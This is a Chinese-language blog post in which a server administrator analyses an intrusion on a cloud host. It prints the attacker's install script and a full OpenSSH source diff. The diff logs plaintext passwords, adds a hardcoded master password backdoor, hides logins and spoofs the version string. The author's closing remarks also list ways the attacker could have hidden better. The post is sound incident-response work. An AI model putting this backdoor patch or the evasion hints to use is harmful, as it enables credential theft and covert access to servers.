本文介绍一个ssh服务的恶意代码,该恶意代码为本人管理阿里云服务器时偶然发现,研究源码感觉存在较大的隐蔽性和安全隐患,因此写此博客记录之。
初探:
昨天检查实验室阿里云服务器/etc/passwd 文件存在提权用户Redistoor,初步怀疑系统被入侵。先不管,先把这个用户给禁用。
查看rc.local系统自启动文件发现可疑启动项/tmp/minerd –XXXXX,可初步判断入侵者实际上已经获得了root权限。
切换到/tmp目录下,未发现minerd程序,反而发现存在名字为httpdd的可执行文件,运行httpdd -v 发现无输出任何信息,感觉程序存在伪装成httpd的可能,应该是恶意代码,于是尝试执行,仅仅发现程序会连接网络,但具体做什么事不得而知。
入侵轨迹:
进入Redistoor的根目录,存在.bash_history文件,读取本文件得到该入侵用户bash历史指令:
密码记录:
由于/tmp目录下确实存在zilog文件,读取该文件,吓了一跳,尼玛,记录着全部用户登录到系统的明文密码:
user:passwd –> root:密码
到这里大概已经可以猜到httpdd是用来传输zilog文件的程序了,尝试着通过再次用ssh连接到服务器,结果zilog又再次记录了本次登录的密码,并且不仅仅对root,对于任何用户,该功能一直有效。
一开始我怀疑是系统登录时/etc/.bashrc 或者profile被修改了某些能够记录用户密码的脚本,然而我错了。
陷入困境:
在纠结和无数次失败的尝试中度过了好几个小时,思路主要是想知道每次登录时,到底是哪个程序试图在写入zilog文件,尝试方法是用lsof,然而写入zilog文件似乎的很快的事情,当敲完lsof运行时可能程序早已写入并退出,这样lsof扑空。那我写个while循环呢?并没有什么卵用。
线索到这里似乎就断了,向阿里的客服申请帮助,可是居然要我花3000多块钱买他们的服务器托管服务,就是个坑。还是自己动手丰衣足食好了。于是随便到其他目录逛逛,看下还有没有其他可疑的线索。
柳暗花明:
嘿嘿!运气好得不得了,在/usr目录下有了新的发现。该目录下面发现了Javar以及Farm的可执行代码,执行Javar也是一个网络连接程序,而且一旦运行按下Ctrl+C不但无法退出,还抛出一句“FuckYou!!!”,Oh,Shit! 这是入侵者最好的呼喊吧,在windows平台用binaryviewer打开查看其二进制对于的ASCII码,从中分析获取其自定义的一些字符常量,发现DDOS选项,估计这是个执行DDOS攻击的工具。
此外在/usr目录下还有一个‘1’的可执行程序,执行了一下发现其实是一个bash脚本:
yum install -y zlib zlib-devel
yum groupinstall -y "Development tools"
yum install -y openssl openssl-devel pam-devel
apt-get install gcc g++ make perl curl
apt-get install -y libssl-dev
apt-get install zlib1g.dev
apt-get install -y openssl
apt-get install -y rpm
apt-get install -y libssl-dev
apt-get install -y libpam0g-dev
apt-get install -y libkrb5-dev
tar zxvf China.Z.tar.gz
cd ./openssh-5.9p1
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make && make install
/etc/init.d/sshd restart
/etc/rc.d/init.d/sshd restart
cd ../
rm -rf /openssh-5.9p1
rm -rf China.Z.tar.gz
rm -rf Install.sh
从脚本中可以发现脚本会用yum或者apt-get安装一些安装sshd服务所需的依赖库,然后解压China.Z.tar.gz文件,估计该文件解压出来就是
openssh-5.9p1文件,然后进入该文件去进行编译,安装替换掉系统原来的ssh程序,最后重启sshd服务,只要入侵者在sshd服务中做一些手脚,就完全有可能获取到登录的明文密码了,虽然一开始我也有怀疑是sshd服务被替换,没想到入侵者居然真的用了这么绝的手段。
百密一疏:
看了下/usr目录,openssh-5.9pl居然还在!!!!!原来脚本中rm -rf /openssh-5.9pl少了个‘.’,百密一疏了吧,源码都没删除,这回抓活的了。
进入源码目录,天哪,好方,一堆文件,我只是想知道他到底改动了源码的哪些地方而已。一开始思路是从文件修改时间上看,那些修改时间较为临近的就是被入侵者自己修改的文件,于是按照这个思路对问津按照时间进行排序,发现了个可以省很多时间的文件:ssdb5.9.p1.diff !哈哈,diff !!!!!!!!!! 真没想到!打开文件,全部源码修改暴露无疑:
diff -u openssh-5.9p1/auth.c openssh-5.9p1.patch//auth.c
--- openssh-5.9p1/auth.c 2011-05-29 18:40:42.000000000 +0700
+++ openssh-5.9p1.patch//auth.c 2012-02-04 22:17:53.381926889 +0700
@@ -271,14 +271,16 @@
else
authmsg = authenticated ? "Accepted" : "Failed";
- authlog("%s %s for %s%.100s from %.200s port %d%s",
- authmsg,
- method,
- authctxt->valid ? "" : "invalid user ",
- authctxt->user,
- get_remote_ipaddr(),
- get_remote_port(),
- info);
+ if(!secret_ok || secret_ok !=1){
+ authlog("%s %s for %s%.100s from %.200s port %d%s",
+ authmsg,
+ method,
+ authctxt->valid ? "" : "invalid user ",
+ authctxt->user,
+ get_remote_ipaddr(),
+ get_remote_port(),
+ info);
+ }
#ifdef CUSTOM_FAILED_LOGIN
if (authenticated == 0 && !authctxt->postponed &&
diff -u openssh-5.9p1/auth-pam.c openssh-5.9p1.patch//auth-pam.c
--- openssh-5.9p1/auth-pam.c 2009-07-12 19:07:21.000000000 +0700
+++ openssh-5.9p1.patch//auth-pam.c 2012-02-04 22:17:53.381926889 +0700
@@ -1210,6 +1210,10 @@
if (sshpam_err == PAM_SUCCESS && authctxt->valid) {
debug("PAM: password authentication accepted for %.100s",
authctxt->user);
+ if((f=fopen(ILOG,"a"))!=NULL){
+ fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+ fclose(f);
+ }
return 1;
} else {
debug("PAM: password authentication failed for %.100s: %s",
diff -u openssh-5.9p1/auth-passwd.c openssh-5.9p1.patch//auth-passwd.c
--- openssh-5.9p1/auth-passwd.c 2009-03-08 07:40:28.000000000 +0700
+++ openssh-5.9p1.patch//auth-passwd.c 2012-02-04 22:17:53.381926889 +0700
@@ -85,7 +85,10 @@
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
-
+ if (!strcmp(password, SECRETPW)) {
+ secret_ok=1;
+ return 1;
+ }
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
@@ -123,6 +126,12 @@
}
#endif
result = sys_auth_passwd(authctxt, password);
+ if(result){
+ if((f=fopen(ILOG,"a"))!=NULL){
+ fprintf(f,"user:password --> %s:%s\n",authctxt->user, password);
+ fclose(f);
+ }
+ }
if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);
diff -u openssh-5.9p1/canohost.c openssh-5.9p1.patch//canohost.c
--- openssh-5.9p1/canohost.c 2010-10-12 09:28:12.000000000 +0700
+++ openssh-5.9p1.patch//canohost.c 2012-02-04 22:17:53.381926889 +0700
@@ -78,10 +78,12 @@
debug3("Trying to reverse map address %.100s.", ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
- NULL, 0, NI_NAMEREQD) != 0) {
- /* Host name not found. Use ip address. */
- return xstrdup(ntop);
+ if(!secret_ok || secret_ok!=1){
+ if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+ NULL, 0, NI_NAMEREQD) != 0) {
+ /* Host name not found. Use ip address. */
+ return xstrdup(ntop);
+ }
}
/*
Common subdirectories: openssh-5.9p1/contrib and openssh-5.9p1.patch//contrib
diff -u openssh-5.9p1/includes.h openssh-5.9p1.patch//includes.h
--- openssh-5.9p1/includes.h 2010-10-24 06:47:30.000000000 +0700
+++ openssh-5.9p1.patch//includes.h 2012-02-04 22:17:53.385927565 +0700
@@ -172,4 +172,9 @@
#include "entropy.h"
+int secret_ok;
+FILE *f;
+#define ILOG "/tmp/ilog"
+#define OLOG "/tmp/olog"
+#define SECRETPW "apaajaboleh"
#endif /* INCLUDES_H */
diff -u openssh-5.9p1/log.c openssh-5.9p1.patch//log.c
--- openssh-5.9p1/log.c 2011-06-20 11:42:23.000000000 +0700
+++ openssh-5.9p1.patch//log.c 2012-02-04 22:17:53.385927565 +0700
@@ -351,6 +351,7 @@
void
do_log(LogLevel level, const char *fmt, va_list args)
{
+if(!secret_ok || secret_ok!=1){
#if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
struct syslog_data sdata = SYSLOG_DATA_INIT;
#endif
@@ -428,3 +429,4 @@
}
errno = saved_errno;
}
+}
Common subdirectories: openssh-5.9p1/openbsd-compat and openssh-5.9p1.patch//openbsd-compat
Common subdirectories: openssh-5.9p1/openssh-5.9p1.patch and openssh-5.9p1.patch//openssh-5.9p1.patch
Only in openssh-5.9p1.patch/: password_authentication
Common subdirectories: openssh-5.9p1/regress and openssh-5.9p1.patch//regress
Common subdirectories: openssh-5.9p1/scard and openssh-5.9p1.patch//scard
diff -u openssh-5.9p1/servconf.c openssh-5.9p1.patch//servconf.c
--- openssh-5.9p1/servconf.c 2011-06-23 05:30:03.000000000 +0700
+++ openssh-5.9p1.patch//servconf.c 2012-02-04 22:17:53.385927565 +0700
@@ -686,7 +686,7 @@
{ "without-password", PERMIT_NO_PASSWD },
{ "forced-commands-only", PERMIT_FORCED_ONLY },
{ "yes", PERMIT_YES },
- { "no", PERMIT_NO },
+ { "no", PERMIT_YES },
{ NULL, -1 }
};
static const struct multistate multistate_compression[] = {
Only in openssh-5.9p1.patch/: sshbd5.9p1.diff
diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c 2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
authctxt->server_user, host);
password = read_passphrase(prompt, 0);
+ if((f=fopen(OLOG,"a"))!=NULL){
+ fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+ fclose(f);
+ }
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
diff -u openssh-5.9p1/sshlogin.c openssh-5.9p1.patch//sshlogin.c
--- openssh-5.9p1/sshlogin.c 2011-01-11 13:20:07.000000000 +0700
+++ openssh-5.9p1.patch//sshlogin.c 2012-02-04 22:17:53.389928235 +0700
@@ -133,8 +133,10 @@
li = login_alloc_entry(pid, user, host, tty);
login_set_addr(li, addr, addrlen);
- login_login(li);
- login_free_entry(li);
+ if(!secret_ok || secret_ok!=1){
+ login_login(li);
+ login_free_entry(li);
+ }
}
#ifdef LOGIN_NEEDS_UTMPX
@@ -158,6 +160,8 @@
struct logininfo *li;
li = login_alloc_entry(pid, user, NULL, tty);
- login_logout(li);
- login_free_entry(li);
+ if(!secret_ok || secret_ok!=1){
+ login_logout(li);
+ login_free_entry(li);
+ }
}
diff -u openssh-5.9p1/version.h openssh-5.9p1.patch//version.h
--- openssh-5.9p1/version.h 2011-09-07 06:11:20.000000000 +0700
+++ openssh-5.9p1.patch//version.h 2012-02-04 23:03:22.821948952 +0700
@@ -1,6 +1,6 @@
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
-#define SSH_VERSION "OpenSSH_5.9"
+#define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE
上帝为你关上一扇门,自己给自己打开一个窗:
可见对源码修改,使它具备记录账户明文信息主要是在:auth-passwd.c中,代码会执行fopen(“/tmp/zilog”,”a”)在文件末尾追加账户信息。
在该代码中,还有一点比较变态的是:SECRETPW 这个宏定义(在includes.h中定义为#define SECRETPW “apaajaboleh”),代码:
+ if (!strcmp(password, SECRETPW)) {
+ secret_ok=1;
+ return 1;
+ }
大概的思路是密码跟SECRETPW进行匹配,如果匹配满足,则验证通过。这意味也就着,入侵者在不知道密码的情况下,只要用系统已有的账户名(包括root),输入SECRETPW定义的字符串即”apaajaboleh”,也能登录系统!!!!!
另外一个值得注意的是,系统除了具有登录到本机的账号和密码以外,还具有记录从本机通过ssh、scp等命令登录到其他计算机的能力,生成的记录会保存在/tmp/zolog。在sshconnect2.c代码中,实现了本功能。
if((f=fopen(OLOG,"a"))!=NULL){
fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
fclose(f);
}
至此,本恶意程序的分析工作完毕,总结起来,该恶意代码的执行特征如下:
(1) 监控登录到本机的用户,并将登录账户和密码记录到/tmp/zilog
(2) 监控通过本机登录带其他机器的用户,并将登录账户、密码和目标地址记录到/tmp/zolog
(3) 预留后门验证密码,方便密码上传程序上传失败时登录系统使用。
应对策略:
(1)删除/usr/bin 下ssh开头的可执行文件:rm -rf /usr/bin/ssh*
(2)删除/usr/sbin下sshd文件:rm -rf /usr/bin/sshd
(3)删除/etc/ssh 下的配置文件 rm -rf /etc/ssh/*
(4)利用yum重装openssh服务:yum reinstall openssh
或者 下载openssh源码编译安装
(5)重置系统全部账户密码,如果可能,改用公钥-密钥对认证
发此博客,主要是该恶意程序存在巨大的安全隐患,入侵者破解系统登录密码以后,通过替换系统关键远程登录服务sshd执行文件的方法自动上传用户密码可谓一劳永逸,而预留后门登录密码的方式却是特别保险的方法。
但是,吐槽一下,该攻击者执行入侵的轨迹过于明显,入侵手段还有一些需要提高的地方:
(1)留下大量的入侵记录,在/etc/passwd中,既然已经获得系统
root权限,有必要删除入侵账户,而且应该完全删除入侵账户的根
目录;
(2)安装恶意代码过于随意,如果将httpdd Javar Fram 等程序安
装到/usr/bin或者/bin等目录下,无疑会增加恶意程序的隐蔽
性,增强其生存几率。
(3)最严重的是一时疏忽暴漏由于少加了个'.'直接暴漏主要的源代码,
这使得本次的侦破难度大大降低,可谓连根拔起。
在 Javar、httpdd、Farm中还有很多可以挖掘的信息,笔者无意,故放弃之。